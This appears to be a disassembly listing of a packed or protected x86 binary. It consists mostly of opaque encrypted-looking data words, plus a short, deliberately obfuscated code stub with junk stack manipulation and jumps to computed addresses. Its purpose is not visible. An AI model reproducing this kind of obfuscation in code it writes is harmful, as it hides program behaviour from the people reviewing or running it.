		dd 5295391Ch, 0D710A598h, 5D9E2E63h, 545082EDh,	0DE33E720h
		dd 59BC6EAFh, 0CE03F730h, 7A8941BAh, 5882ABF0h,	0BE5B3BF6h
		dd 0C8034968h, 0A1EB8E42h, 3D17E466h, 0F773ACDCh, 45E39E84h
		dd 9188FB34h, 6880CCF7h, 808A4575h, 0B9A19A2Dh,	0CDAB37CCh
		dd 0C7E14DFAh, 4776093Eh, 40A32h, 0A9D3B600h, 7F02226Eh
		dd 46DFAB52h, 0D713F5F5h, 0F6E03B84h, 81A9523Ch, 0C763DCECh
		dd 52CA3843h, 7F65407h,	0F5DECBF4h, 9FF9A23Bh, 69A2D62Bh
		dd 776763E1h, 0B8838740h, 5A3665C5h, 353212EEh,	96711A46h
		dd 0CC6009EAh, 91F2Ah, 964F7A00h, 1ED9E124h, 0E22569ACh
		dd 67A0D528h, 0ED2E5EB3h, 8400F23Dh, 0E4337F0h,	89CCBE7Fh
		dd 7E5307C0h, 2AD9914Ah, 56D2FBA0h, 0CEAB3BF6h,	8735A8B8h
		dd 137DCE4Ch, 0B1599226h, 5CF3ACDCh, 0DB7E8F7Eh, 8FDC7E31h
		dd 3BC8C56h, 947766Ch, 36Bh, 0AB547F75h, 8EFD46DFh, 84FE49Ah
		dd 6FE92342h, 0E5D9D6Bh, 3CF658BEh, 6D002AD1h, 8A43725Fh
		dd 9A2E63D7h, 0D2E499A1h, 2A71F515h, 3BF5E101h,	187427D4h
		dd 907672F0h, 0F17501AAh, 63083212h, 0EA918239h, 0E385B909h
		dd 880h, 4337F09Bh, 0CBBF780Eh,	5703C4F6h, 0D2884172h
		dd 5C0EC9FFh, 93259F53h, 18AFE258h, 61166BDFh, 0ED9FF2A8h
		dd 0FCB7832h, 0F657335Ch, 1F6F0A3Bh, 42C80349h,	66A1EB8Eh
		dd 0DC3D17E4h, 68D773ACh, 0E67A6BF7h, 0DFAB8CB5h, 0C1EAB146h
		dd 9446DFAAh, 0ACE893E7h, 16C43F4Dh, 76D048F5h,	104047h
		dd 0A82C0000h, 2287CF23h, 98F4A0BDh, 2AE72h, 547F2A00h
		dd 0FD46DFABh, 0AB093279h, 2FDC46DFh, 695F1BE5h, 6CD9B9C6h
		dd 0D0E623E8h, 5508F317h, 148DC695h, 0ABD03CF6h, 84FF632Ch
		dd 1D0D47E0h, 0E0A9CC6Eh, 86DED27h, 0FED38740h,	7B0911CAh
		dd 0AD6A1F7Fh, 9F2B70FAh, 7E3212D5h, 6D0E538Dh,	0F11509EAh
		dd 7B75Fh
		dd 6EA7D200h, 0F63159BCh, 7ABDC104h, 0FF384D80h, 4586360Bh
		dd 7C689A95h, 0E6DB8F48h, 61A416D7h, 0D62B9F58h, 92B169A2h
		dd 566A93D8h, 56433BF6h, 8035A850h, 1C78C347h, 0B6C28F3Dh
		dd 0B0691C7Dh, 6CEEA1AAh, 82884309h, 34D698B5h,	7C9F4B84h
		dd 4776D0C3h, 0C0107BFFh, 893E6D1Dh, 68759EF1h,	234846DFh
		dd 88FEA1Ch, 0A4F0A318h, 762h, 0E08A1200h, 22000001h, 468135A8h
		dd 0AAEF190Ah, 601846DFh, 173744E6h, 57CCCA97h,	0FCAFABE5h
		dd 3CF662B6h, 0B1DA8105h, 843BF67Ah, 0DF085397h, 0B63BF67Ah
		dd 0EC9F8BC5h, 0E097CA4Eh, 0E5D82327h, 4021DEFh, 16034DF5h
		dd 7DF1A962h, 58B47518h, 0AA904B71h, 0C6448337h, 75FF1B75h
		dd 4579375h, 3212EC78h,	0BE40B4C7h, 406909B5h, 0C8F11414h
		dd 450A3378h, 38E346D5h, 7569245h, 1E09E9FDh, 6C244FAh
		dd 0B2D90000h, 3E4C8179h, 823409C1h, 0FB09545h,	8B3D10CAh
		dd 5D8D9A50h, 209A5D63h, 0A961DAEDh, 30EA2754h,	8674AFDDh
		dd 759ECD8Dh, 483BF655h, 3495DADh, 5D6F42C8h, 77E93A62h
		dd 897C2B81h, 0C1A4B681h, 0C7BAFDBEh, 4268AFEDh, 62168B8Fh
		dd 0E75AA1A9h, 62EF1843h, 0D5C646DFh, 0EE042FBh, 32C9817Ah
		dd 477698B5h, 67A0D489h, 576F98C3h, 554646DFh, 14C97Bh
		dd 8AB50000h, 0E3h, 2EE993F6h, 0AB365F0Ch, 1C0F46DFh, 557FEC30h
		dd 0F246DFABh, 812A10F6h, 3CF6E0D3h, 479C1AAh, 8ACFBB74h
		dd 4F0505FEh, 39BDBD8Bh, 0F65E4972h, 3C6F1C3Bh,	97A24E6Fh
		dd 0BABE9AF7h, 12EE65F1h, 69533832h, 9EA91BCh, 0F5ED83A7h
		dd 14000005h, 9BFEAC65h, 34634F3h, 8FC2B87Fh, 84D3DFAh
		dd 0D8D78344h, 0CD0EBE2Ah, 5495381Dh, 0DD1AA3E6h, 0A760286Dh
		dd 0D19A50F3h, 3BF654A8h, 0A88A807Dh, 0AB5E87D4h, 443746DFh
		dd 0A09B2108h, 7AB5C7BAh, 9EF367D0h, 0D9EC2DEEh, 0C711FA60h
		dd 3642A40Eh, 710E0DFDh, 7B4776D0h, 18h, 0C0438CFFh, 14A29DE6h
		dd 195C85D6h, 4A3146DFh, 208A1E0Eh, 22000000h, 42C80349h
		dd 78E25D6Fh, 0E294C90Dh, 0F5D62525h, 37CE0AC5h, 0F6315BABh
		dd 2F0204h, 499A0000h, 0C3ECBF03h, 9A46DFAAh, 581C3EF1h
		dd 0A4C87133h, 5C63D8A0h, 0D98C7F9Bh, 0F180ACFFh, 0C94646DEh
		dd 3CF78565h, 0F1365B3Eh, 0D2B6E269h, 5E0349CAh, 0E269F12Ah
		dd 32572B2Fh, 0FD164982h, 0BF8E3414h, 8B4F89C3h, 67CEBDBDh
		dd 0E64B8A48h, 0AA2E2A66h, 0C1498637h, 570D1E7Ah, 363CF615h
		dd 0F880E545h, 24FA2348h, 0D4E23BF6h, 0FE0CFF1Bh, 2508317Ah
		dd 2EDD3BF6h, 0FFD2887Bh, 7A0812CDh, 2EA2887Eh,	2319EC5Dh
		dd 4E709DB3h, 0A9FAD689h, 320DA982h, 69AA04Bh, 0B19B5C63h
		dd 3F73058h, 0D941BACEh, 995E6005h, 0B16E1C71h,	904892FEh
		dd 0EB5E9B20h, 1F1C1C4Fh, 8F33CFCh, 0C2FCF5DCh,	16C86C14h
		dd 49Ch, 0A713CCFFh, 2F9B5462h,	0AB1FD8EAh, 36E42556h
		dd 0B06AADD3h, 77198377h, 0FC83C6B4h, 7D0A4F3Bh, 0C9F3D684h
		dd 23B75C0Eh, 0F6534F78h, 337B263Bh, 12C80349h,	0C8528D3Fh
		dd 0EE6CA7D5h, 9072FC11h, 0C07B2FE8h, 4776D027h, 412Dh
		dd 0A2A65900h, 0DBE386A4h, 508F3F1Ch, 0C31741CAh, 0FCDD4598h
		dd 0F599FC3Ch, 0E9232832h, 0D60CAB1h, 0C4D7837Ch, 3BFC5D95h
		dd 0EFC3745h, 0E54582CBh, 1D3DFA80h, 61DAED2Eh,	12C612F9h
		dd 40F7Ch, 23A82800h, 7DA76174h, 1AE430B1h, 1942E85Eh
		dd 3CFC288Dh, 40DD3B60h, 0A7510A10h, 73AFD883h,	95863BFCh
		dd 54651822h, 0AE8C7F9Bh, 0FC73D4FDh, 96C2A93Bh, 0C68BEE62h
		dd 0D6E2D701h, 4E90FD1Dh, 0BAA0672Bh, 45AC1E51h, 0A911F6E5h
		dd 150CD66Fh, 0AED78455h, 873BFBE7h, 64192194h,	8A719956h
		dd 50FA3D41h, 2A9A1EBh,	3218F776h, 537CB2D9h, 0E7DA1DA3h
		dd 0A5EB34A2h, 4565AF62h, 8A4EE456h, 90A75D3Ch,	1BCE87A3h
		dd 0E008CDFh, 0EC9F3CFCh, 35D13D4Eh, 0C1474C18h, 9CEF6397h
		dd 731B5518h, 57FC41B4h, 4C7059B3h, 34068F8Bh, 6AF02B51h
		dd 0D613B8E1h, 0E09F43FAh, 8FDC1EE8h, 32193E03h, 0C439F19Ah
		dd 0FADF7BB4h, 51D515CEh, 0DF5CE10Ah, 8DC7B446h, 4333373Dh
		dd 2307FA3Dh, 0FC7A2478h, 0BAA04B3Ch, 0FE394326h, 40649192h
		dd 47083BFCh, 93259882h, 8D4A7358h, 7FE3208Dh, 6CE04239h
		dd 0FC40163Fh, 0D03CEF3Bh, 16AFB925h, 1A4D95BFh, 4Bh, 17A7DA5Eh
		dd 389CC5D8h, 8A713BFCh, 37D2FBA0h, 0C0AB3BFCh,	0A2A69094h
		dd 0B5DB8632h, 0F94CBF72h, 933B2CA9h, 3BBFBB6Eh, 0D5499850h
		dd 0B6E2F1AFh, 0FBB1C575h, 47C3A83Ch, 0FBB12754h, 36B8A53Bh
		dd 952A9512h, 10B9F4Dh,	490F0000h, 0C3ECBF03h, 9A46DFAAh
		dd 0F92249F1h, 0CC46DFAAh, 4ACE6CDFh, 0DFAAF821h, 13CCFC46h
		dd 10381407h, 35460BBDh, 279A5362h, 0C565D823h,	0AAF11A41h
		dd 0D7C446DFh, 0E4995DFDh, 0DF3A16D3h, 14E872ADh, 578A4D71h
		dd 0BD6B02B0h, 3524709Fh, 47703B87h, 1E46DEB6h,	759ECD6Dh
		dd 4846DEB6h, 0F13AF0A3h, 46DEB21Bh, 7FB8CFA2h,	5B942415h
		dd 0D7004BEFh, 950B1A39h, 5D6F4A86h, 902558E2h,	21C3EED7h
		dd 5F12CA1Fh, 0C1EA50BBh, 46DEE998h, 0A652BE6Dh, 225A2C2Ch
		dd 5A0F9FE7h, 406BCF82h, 3CFC451Ch, 4F2208F3h, 0F05BFF38h
		dd 4A0E24A4h, 1C2D7EFCh, 0F13217F7h, 0C2BE2F8Ah, 3AEDDA24h
		dd 0F02B5D30h, 76B1C73Ah, 0E647BD0Ah, 1EB05409h, 1E0h
		dd 0E357903Bh, 6BDF18AEh, 0F7A36416h, 7228E192h, 0FCAE691Fh
		dd 33453FB3h, 0B8CF02F8h, 1B68B7Fh, 8D3F12C8h, 0EF6B9852h
		dd 0F65093BCh, 7F8F6A3Bh, 16C40749h, 9C4E8933h,	0A4A2A68Ch
		dd 9425D586h, 63083CFCh, 6BEF63E7h, 0FC921740h,	0EA3DEE3Bh
		dd 3BFC91C1h, 6DB4E794h, 0DFC7A0A7h, 0F01D0E4Ah, 6E3BFBB5h
		dd 0F704BFCCh, 8937D6C7h, 1C2CB64Fh, 4D954D63h,	0DA69h
		dd 1BACC100h, 49B2F2DEh, 0F12A5E03h, 2B2FE269h,	45C506B6h
		dd 0DFA78056h, 0F0BB3F46h, 46DFA6C7h, 0B6A3ED9Eh, 0C4EDBE02h
		dd 9946DFA6h, 974B3FF2h, 0D0DC6F2h, 0D5E7D23Eh,	7672F01Ah
		dd 0C3B67706h, 0FE8EE367h, 0A6F8214Ah, 0DECD46DFh, 301CEF6Bh
		dd 0FCB9CBEFh, 2199823Ch, 79C14703h, 3CFD80E5h,	0C0E32D1Eh
		dd 321826D0h, 52F374A7h, 3EBA6B26h, 0FA8AEF4Bh,	40744901h
		dd 0A46A5D87h, 25D909E5h, 0E383h, 5A932600h, 221DADE0h
		dd 0A6611568h, 2BEC91F4h, 0B16A1A7Fh, 403CAEF9h, 0CA0FFB3Ch
		dd 0B58842BBh, 3A1FCB04h, 6EE5558Eh, 4F96BFECh,	0B26F3BF6h
		dd 9123A874h, 9F9F0475h, 2C589D2h, 1ADDE3D6h, 645F6DA0h
		dd 5C3417E1h, 0EC5E11B7h, 7EA7F448h, 5746DF0Eh,	493468A4h
		dd 1962C803h, 0FD62D52Fh, 0B058B493h, 0F437593Ch, 0D00BB198h
		dd 3610C81Ah, 274C6734h, 0A6D53CF6h, 0ABD229DFh, 1E0A4646h
		dd 0C088ED6Dh, 0F92CEF91h, 0D7BCE445h, 73279A6Ah, 0A9B16A1Eh
		dd 47C9A6D5h, 788C3520h, 7CB90B1Ch, 28E935F5h, 9B546486h
		dd 65DEEA2Fh, 0F11A41C5h, 0C441F77Ch, 785DFDD7h, 0B6730457h
		dd 56F4A794h, 0AA7CE65Fh, 1075251Eh, 0D7ABAF68h, 0C09CE2A4h
		dd 0F6F5729Bh, 6DA04B41h, 0B39D690Ah, 385h, 0E0C81100h
		dd 41C90249h, 67E35C6Ch, 9EBC7502h, 0B753943Bh,	0E169A2D2h
		dd 1B3FF88Ch, 36D415A6h, 62E82F53h, 9A807F0Fh, 0E68956B9h
		dd 4C681h, 0EE830000h, 24348704h, 2414895Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	508Ch
		mov	[esp], edx
		push	esi
		push	65A82AB5h
		pop	esi
		or	esi, 67603391h
		and	esi, 70926604h
		neg	esi
		xor	esi, 959693D2h
		push	esi
		pop	ebx
		pop	esi
		push	1179h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		pop	dword ptr [edx+8]
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		cmp	[eax-56770642h], cl
		retn
; ---------------------------------------------------------------------------
		db 28h,	7Ch, 42h
; ---------------------------------------------------------------------------
		mov	eax, 0AE95D77h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 2Ch,	21h, 4Bh
		dd 316C5153h, 0C3C14D6Eh, 27676703h, 688F8128h,	0EEFDE129h
		dd 0CCECD01Dh, 10E861h,	8B30000h, 8EB88D80h, 23A5833Bh
		dd 1A6CA74Ah, 4EB74D3Ch, 0C281F85Ah, 5AFCh, 5F8DD3BBh
		dd 7159BE35h, 0F6817885h, 788567FDh, 0BB028BF9h, 671476E4h
		dd 6C43C081h, 8E93233h,	22000000h, 2DE624A6h, 814B97E9h
		dd 0B1785AE8h, 0C9B70F53h, 2720C081h, 81665FE9h, 89D483D7h
		dd 83FE8B02h, 0B70F02EAh, 664A4AF9h, 4EFE9CBBh,	0FFBB850Fh
		dd 8BE9FFFFh, 84000001h, 275A01A9h, 0D31AD52Ch,	0D746B198h
		dd 0EFB4CAD1h, 0E45B7E41h, 6D5D9752h, 44FCA3FBh, 0A59EB992h
		dd 95BCD792h, 93B9E4h, 0F49DB2CBh, 0FC9CACA3h, 0D2009EB9h
		dd 73AFC945h, 55FC00EEh, 599CBA97h, 0B2A4E56Dh,	47FEACFFh
		dd 0C45657F6h, 0F600CCD4h, 0F78F7DB5h, 97539549h, 45C9BCFAh
		dd 0A1915CCDh, 0ACE56Ch, 100h, 43h dup(0)
		dd 0A26D8497h, 0EE69F033h, 3 dup(0)
		dd 0E9E90000h, 6800000Eh, 0AE961CCh, 0FAF5DFE9h, 62C068FFh
		dd 0D5E90AE9h, 68FFFAF5h, 0AE96428h, 0FAF5CBE9h, 64F468FFh
		dd 0C1E90AE9h, 68FFFAF5h, 0AE9663Ah, 0FAF5B7E9h, 66F668FFh
		dd 0ADE90AE9h, 68FFFAF5h, 0AE967AFh, 0FAF5A3E9h, 682D68FFh
		dd 99E90AE9h, 68FFFAF5h, 0AE9690Fh, 0FAF58FE9h,	699F68FFh
		dd 85E90AE9h, 68FFFAF5h, 0AE96A46h, 0FAF57BE9h,	6AF968FFh
		dd 71E90AE9h, 68FFFAF5h, 0AE96BA3h, 0FAF567E9h,	6CAC68FFh
		dd 5DE90AE9h, 68FFFAF5h, 0AE96DAEh, 0FAF553E9h,	4EF2AAFFh
		dd 5CE09ACFh, 56EE88D9h, 25C982D7h, 32BE7122h, 0CAE9D133h
		dd 0BBE86F13h, 0B2E7661Eh, 0AFFC7317h, 89C84F0Bh, 0D5FF74ECh
		dd 5B383664h, 3FD8CDF6h, 0A5C88987h, 1814B454h,	16E9B149h
		dd 43C810F1h, 74414E36h, 7972FE21h, 6C86423Bh, 214BAD12h
		dd 248570FCh, 0A26220D6h, 879D5A36h, 4C316190h,	314392C7h
		dd 4C31623Eh, 82386DAAh, 0F82F72FAh, 5A812D5Ch,	5543161Dh
		dd 20h,	17A5A6FCh, 2EDCEA76h, 0F4294BADh, 4E75E678h, 0E7614C31h
		dd 2AF368C4h, 0A9FE4316h, 15000000h, 2F39E179h,	7CF369CEh
		dd 0BB414E35h, 2BE23766h, 40D88987h, 3DDD8C98h,	63069A9Dh
		dd 11414E32h, 68EF7579h, 0AF414E3Ah, 6536094Ah,	0B90B05C5h
		dd 0CD17F4C4h, 4BAD20D5h, 0D65ADD00h, 7AE68715h, 568F1E34h
		dd 0CADFBCE1h, 0BBE86F13h, 82C27C04h, 106B69F9h, 0CACFA58h
		dd 0F9B50000h, 0E7A5F649h, 0F593C047h, 0D08DDE51h, 0C578292Ch
		dd 0F2D63A3Dh, 93921ED1h, 0EA6D29CEh, 0E76622B9h, 0F37216B2h
		dd 0A01DBBCh, 4D3664D5h, 0C679ED56h, 0AF485D3Ah, 15581917h
		dd 1E81F116h, 9F9E8426h, 5A5F639h, 0F025C245h, 0A962B53Dh
		dd 7617A5A6h, 35C44B91h, 0AEF3414Eh, 44429E7Fh,	3C4BAD2Fh
		dd 0ED62FE5Fh, 2A4C314Fh, 4FE66DF7h, 0CC114C31h, 101C4199h
		dd 314F9D9Eh, 9CCF094Ch, 162BAB10h, 0A5A643h, 796D0000h
		dd 0CA7629E1h, 33EABF89h, 0D309EE8Fh, 414E355Ch, 1917469Bh
		dd 4E31E287h, 50F89041h, 2CEC8CDDh, 2BE03520h, 0A1F48583h
		dd 29CECE8Fh, 0AD20CB33h, 36D70A4Bh, 822600C0h,	0B4FB0A54h
		dd 72423BB5h, 0E8784F95h, 2C02568Fh, 0D21350h, 1A60B7B6h
		dd 3AF526C7h, 6C4D1B6h,	63303766h, 343A04ACh, 0D26B69D6h
		dd 0BB8A41Ah, 5B90000h,	0F3A9FA7Dh, 1A7F44Bh, 0DC91C245h
		dd 0D18CDD50h, 0C6C22E21h, 87862AE5h, 9E9135D2h, 0EB6A2ECDh
		dd 0E76622C6h, 161DC7A0h, 413664D4h, 0C679E1A2h, 0D2763B3Ah
		dd 79DA3736h, 724039E1h, 0DB9D7E25h, 9399CC0Dh,	0F99E3ADEh
		dd 0C34D0DACh, 3449CE1Ah, 2B8E414Eh, 2CA0C716h,	5088612Fh
		dd 4BAD12B6h, 0E25EF4CAh, 293F9E6Ch, 0EF79BC06h, 32050275h
		dd 3752F64Ch, 16FC40FFh, 694B43h, 0A6860000h, 0EA7617A5h
		dd 4BAD3398h, 619490C5h, 88509434h, 4C313783h, 202C61B4h
		dd 41324E91h, 0B54C3138h, 7BCF813h, 0A431637h, 3Bh, 17A5A6C9h
		dd 22C4EA76h, 0DBCC4BADh, 6B929A22h, 314A7AF1h,	2778BD4Ch
		dd 0BAB256F2h, 376AB0E7h, 4AB4A739h, 0A4204C31h, 26B22985h
		dd 0EBD4316h, 58000000h, 67E18D4Fh, 8A060352h, 825h, 17A5A69Fh
		dd 5587EA76h, 39094BA7h, 120E18B4h, 2C76B981h, 630710C9h
		dd 0A652D903h, 65854C37h, 0DDB73035h, 0C4195ADEh, 0C0781041h
		dd 31BD7F27h, 0EC2170FCh, 0EBA0F560h, 61B4C543h, 0E98E0ECFh
		dd 0D0601F08h, 7C2FF38Dh, 0E3D35690h, 8C671B7Dh, 9EE40BE8h
		dd 0D169A25Bh, 0C5653609h, 0C4B90B05h, 660217F4h, 4E9A73A2h
		dd 617FEDF0h, 2A56E035h, 0E05E1532h, 0A50EA48h,	9D510000h
		dd 8B411215h, 993F6CE3h, 74297AFDh, 692475C8h, 5EAA46D9h
		dd 3F3EC27Dh, 3609CD6Ah, 302C665h, 1F1EBA5Eh, 0AEA5BF58h
		dd 0E93664D1h, 0C5B6490Ah, 47414E36h, 18149852h, 611A1659h
		dd 0BBAEBA53h, 0E04BA769h, 0E57FDCBDh, 4C37956Eh, 22174A9h
		dd 2ECFCD8Eh, 0B2BA5EFDh, 7D01BAEFh, 9E7FAEF3h,	90C8D742h
		dd 28C11456h, 0B8BF5BFFh, 0BD8B4FEBh, 9D7A3A33h, 7A277B47h
		dd 7E1A0F61h, 0D80F52DAh, 6DBE5F82h, 590A0DCDh,	836019C1h
		dd 0A53D259h, 0EC740562h, 620A5367h, 0E5084D90h, 5360D54Fh
		dd 904DE20Ah, 0FB1B6B00h, 7018B035h, 0D7EE200Ah, 0D55D8780h
		dd 0BDEC69E2h, 0DB0AB268h, 0C2E05A9Fh, 14D53F1Dh, 984FE5Ch
		dd 0D18D0000h, 0BF7D2E21h, 0CD6B383Fh, 0A8653609h, 9D500104h
		dd 8AFE1215h, 0CB4AF6A9h, 0C24501A6h, 0DF5EFA91h, 2B2AEE8Ah
		dd 0E269F394h, 153664D1h, 0A5A6957Eh, 77EA7617h, 0A44BA768h
		dd 0EE3B9871h, 0F5C832Fh, 69CEAF6Bh, 37947CF3h,	3766BB4Ch
		dd 3C76330h, 0F2C2BB05h, 0C84ECF15h, 50955690h,	4415139Bh
		dd 24856A03h, 20F5373Ch, 0EA3D6057h, 0C6590199h, 8860F595h
		dd 0F7F23A4Fh, 0CD282479h, 98873AFDh, 20758942h, 3247C189h
		dd 0A88C41E3h, 209DBBB0h, 0C0B9FC57h, 209E1318h, 0DC114457h
		dd 8D825E3Fh, 0CA57209Dh, 9E222933h, 555720h, 1EFF98CFh
		dd 7AAD6D0Dh, 79CFD4E6h, 49C63461h, 0D0EB792Fh,	2C71C91Ch
		dd 1ABE5A4Fh, 16B2561Bh, 0C21EFF1Eh, 6209D74Dh,	7C00578Ah
		dd 6209D7FBh, 9D8EF9F2h, 0CEC21D5Ch, 0CEDBB0F5h, 5C396C28h
		dd 6293DD84h, 9C53966Ch, 553AD314h, 0BFEEA640h,	0B0ACE6Ah
		dd 0E06C266h, 10C9C784h, 76B94507h, 0F3CE4B91h,	0ED1D774Bh
		dd 8A5CF45Eh, 0C88C2DB9h, 92F83D7Ch, 4B40C03Eh,	3F094A86h
		dd 6F0FCDDEh, 79373438h, 84BE5880h, 2A8F823Ah, 0D07EF810h
		dd 0EC521A3Fh, 83Eh, 60E78B43h,	72F57933h, 48CF8721h, 5BDA621Bh
		dd 54AB5716h, 0AC6340B8h, 0B7500104h, 0B04B181Fh, 0A44415E8h
		dd 452261E4h, 64CF989Fh, 5F24DF36h, 2F39E179h, 5D3ADE7Ah
		dd 0B8ED9548h, 0ACED7B03h, 6C80F379h, 0F296323Dh, 0AF670015h
		dd 0AECD10A1h, 0ACD813Eh, 78CB6h, 8A470000h, 48Fh, 0FD57639Fh
		dd 0CEDBB000h, 583D600Ch, 0AD29FE80h, 0B16ABF4Bh, 9B23D80Dh
		dd 0DD8BCC8Dh, 2903DA03h, 0E8E4F9Dh, 0FA9A3C69h, 1FF82F72h
		dd 9C0761C5h, 0A0599C29h, 60A8DE52h, 6CB3F91Ch,	33817AC4h
		dd 44FA8E5Ah, 7ABF347Bh, 28F0889Dh, 24E484D5h, 19BF0C1Ah
		dd 0EC521A8Dh, 782h, 2C23CF8Fh,	3E31BD7Fh, 340BCB6Dh, 706A667h
		dd 10179B52h, 0F0AF8CFCh, 0FB9CCD40h, 0F497C45Bh, 0E880D154h
		dd 896E2D20h, 64CFDC53h, 9B781B36h, 2F39E179h, 383FC37Ah
		dd 0F9B7B4h, 0A767AFD8h, 5C3D604Bh, 14EBAF4Bh, 53F7A347h
		dd 0C462B7h, 34307504h,	9D47B1AAh, 4C379396h, 2B2038C1h
		dd 6C4C3794h, 0DAB3F409h, 0E16F27C1h, 50888DD0h, 5690C6E1h
		dd 8E2EEF22h, 0DF7BAC4Dh, 0B149423Bh, 0F2A7C6E9h, 0C0D5B256h
		dd 0B34D500Dh, 0F009C7F5h, 0BDE0B1BFh, 0B65546B7h, 0BF7EC312h
		dd 2DC64D97h, 42F85721h, 0B3EFB2BAh, 0F83DD97Eh, 1F879BA7h
		dd 278D6B72h, 6C971h, 6A16D600h, 7804C6EBh, 7212B4E5h
		dd 41EDAEF3h, 5EE29DCEh, 0F6D535DFh, 0E7B48B37h, 0DE838242h
		dd 0CB989F3Bh, 0D5946B2Fh, 0CF232830h, 0BF543664h, 23D8CDD2h
		dd 23D8549Bh, 0E526CA85h, 685DDC04h, 73A64BA7h,	14E9819Ah
		dd 99542551h, 2C5A1FE9h, 374817FDh, 24C2D730h, 82D5E460h
		dd 77F19931h, 0CBA0F0EDh, 9727C911h, 21B90C56h,	0F5953479h
		dd 59E5267Bh, 6B6DF9D3h, 4B19BF35h, 54000006h, 4415E898h
		dd 3267E686h
		dd 2C7DF094h, 1B48CF6Fh, 0B759DC64h, 35BD7053h,	0CC86132h
		dd 19C15809h, 15B55506h, 0AEBA5312h, 3664CDA9h,	794C35EEh
		dd 7A2F39E1h, 0CA8E2ADEh, 1DFA3F42h, 0A3AD5508h, 0A0AC680Eh
		dd 0E389DC11h, 422D5CF0h, 0FD63E2A6h, 0B60AC946h, 749h
		dd 9C8A8800h, 9F000002h, 479DE179h, 414E35D0h, 9791D207h
		dd 0AB40500Dh, 5FA5D85Bh, 4217119Dh, 605FA234h,	14A2CD20h
		dd 3766BB2Bh, 708B8A56h, 21D84BA6h, 36B1343Bh, 0FD3E634Ch
		dd 0C991297Ah, 0CF732A7Fh, 0BE42FD2Eh, 0BDBCE3B6h, 9D7A3A33h
		dd 8FE33747h, 0C266B356h, 244B0E06h, 0A9E29BDEh, 0A5F64911h
		dd 0A6CB4505h, 43CD5BE7h, 0F76D0A8Ah, 617EF0ABh, 0D4088AE2h
		dd 2499918Ah, 62EF57E3h, 0B73D5E14h, 56901h, 0AB67600h
		dd 18A4660Bh, 12B25405h, 0E18D4E13h, 0FE823D6Eh, 96B5957Fh
		dd 87D42BD7h, 7E2322E2h, 6B383FDBh, 75340BCFh, 0CCC34890h
		dd 1FF43664h, 0F46CCDB2h, 414E357Fh, 0E13265B8h, 383F2549h
		dd 7F414E36h, 90875D3Ah, 0C7414E35h, 92D75192h,	0A9DA52F6h
		dd 4FBF6487h, 0DEE2A2Ch, 2475B882h, 0D341C484h,	0B60A4564h
		dd 767h, 458AAA00h, 9F000001h, 6B5DFDCDh, 33E9847Fh, 818F4BEEh
		dd 0BC5CADF0h, 72DC221Ch, 521A815Fh, 4D9ECh, 9A26E600h
		dd 6814D69Bh, 6222C495h, 71FDBEE3h, 4EF2ADFEh, 62525CFh
		dd 0F7A4BB47h, 0EEB3B252h, 0DB888F4Bh, 0C5849B3Fh, 0CD333820h
		dd 8F643664h, 39E179C2h, 3ADE7A2Fh, 0EF64FC5Dh,	21414E35h
		dd 3346CE8Ah, 0C563B2E7h, 1853769Ah, 0D745D880h, 0B60AC968h
		dd 1263h, 0CF69A200h, 8A2BE037h, 0C4h, 0BE8A9Fh, 0CD9F0000h
		dd 8C9840D8h, 0D5969ACDh, 0E04126C7h, 4E35F378h, 0AEF12441h
		dd 0A755A392h, 0DCBDE04Bh, 0F3FCF3EEh, 0CA1D9A96h, 9D1BD0A2h
		dd 7D6264FCh, 0C61B5696h, 6C6F807Ch, 5CC26A6Bh,	432h, 7CF37F3Fh
		dd 4EC16D2Fh, 44DB7B1Dh, 57D65617h, 0A0A74B02h,	0A05F7C4Ch
		dd 0AB4C1D10h, 0A44714EBh, 983061E4h, 593E7DF0h, 64CB8C83h
		dd 6B28CB36h, 7617A5A6h, 0AD773BEAh, 34D5084Bh,	9D2B2DC6h
		dd 0BFEEA2B9h, 6B2BCDDEh, 85060894h, 9A3E4C31h,	4C6152CBh
		dd 0A25B76ACh, 31BDB1A6h, 7EB3E64Ch, 815B3899h,	4C31BD8Ah
		dd 838868CDh, 0BD4C31BDh, 0FB3E781Ch, 42E4B5B4h, 0B3148A82h
		dd 3D000003h, 7617A5A6h, 0A7556BEAh, 0EB65B84Bh, 0B7546419h
		dd 5D8F6347h, 9CC37E54h, 69011AFBh, 0C312A7A1h,	96862DB1h
		dd 0B18DD056h, 6B6C7823h, 7F993FB5h, 80000003h,	702124CCh
		dd 6E3332BAh, 58090CC8h, 57041BA3h, 0FB15E898h,	41F1AC8Fh
		dd 58FC9DCEh, 55F594C5h, 21E981D2h, 528E6F2Eh, 3664CBDDh
		dd 0A698791Ah, 0EA7617A5h, 4BA75587h, 0BBB0A809h, 0FC4C3795h
		dd 364BF3A9h, 0A1469BE7h, 961318C0h, 1444C37h, 15A4A04Ch
		dd 9F888DD0h, 8BD85FFBh, 53DD2BEFh, 0E77D1A9Ah,	5690C823h
		dd 7216B2E7h, 2A70A7FAh, 8C9828E7h, 72D388CDh, 4CD86419h
		dd 0F189DA0Dh, 0E585D629h, 0D9322B25h, 0DA569941h, 0A1FA9321h
		dd 0B2C74109h, 0E0BEAA63h, 25617FE1h, 279646F0h, 5C145E15h
		dd 2D5FEh, 9E22DA00h, 6C10CA9Fh, 661EB8E9h, 75F9B2E7h
		dd 42EEA1F2h, 0FAD921C3h, 0EBB8BF43h, 0E2B7B64Eh, 0DF8C8347h
		dd 0D9989F3Bh, 0CB2F243Ch, 8B683664h, 39E179C6h, 17B35740h
		dd 61F9A8C0h, 0BF5911A9h, 374AC207h, 0FCF173F2h, 0AEEFDFBCh
		dd 731028F4h, 4D9770A7h, 4BAC51A1h, 6606C4D1h, 0C486ABEEh
		dd 3A6D2C38h, 4AB3BDE0h, 0CC139B51h, 3099BFB0h,	7A912B4Ch
		dd 17558532h, 258843h, 0A64B0000h, 0A76307A5h, 36D7E8A9h
		dd 0AD2F9C2Ah, 0B8B4E94Bh, 31503526h, 427A14Ch,	162B33A8h
		dd 0B53E43h, 79D50000h,	7A2F39E1h, 70313FC3h, 753430D8h
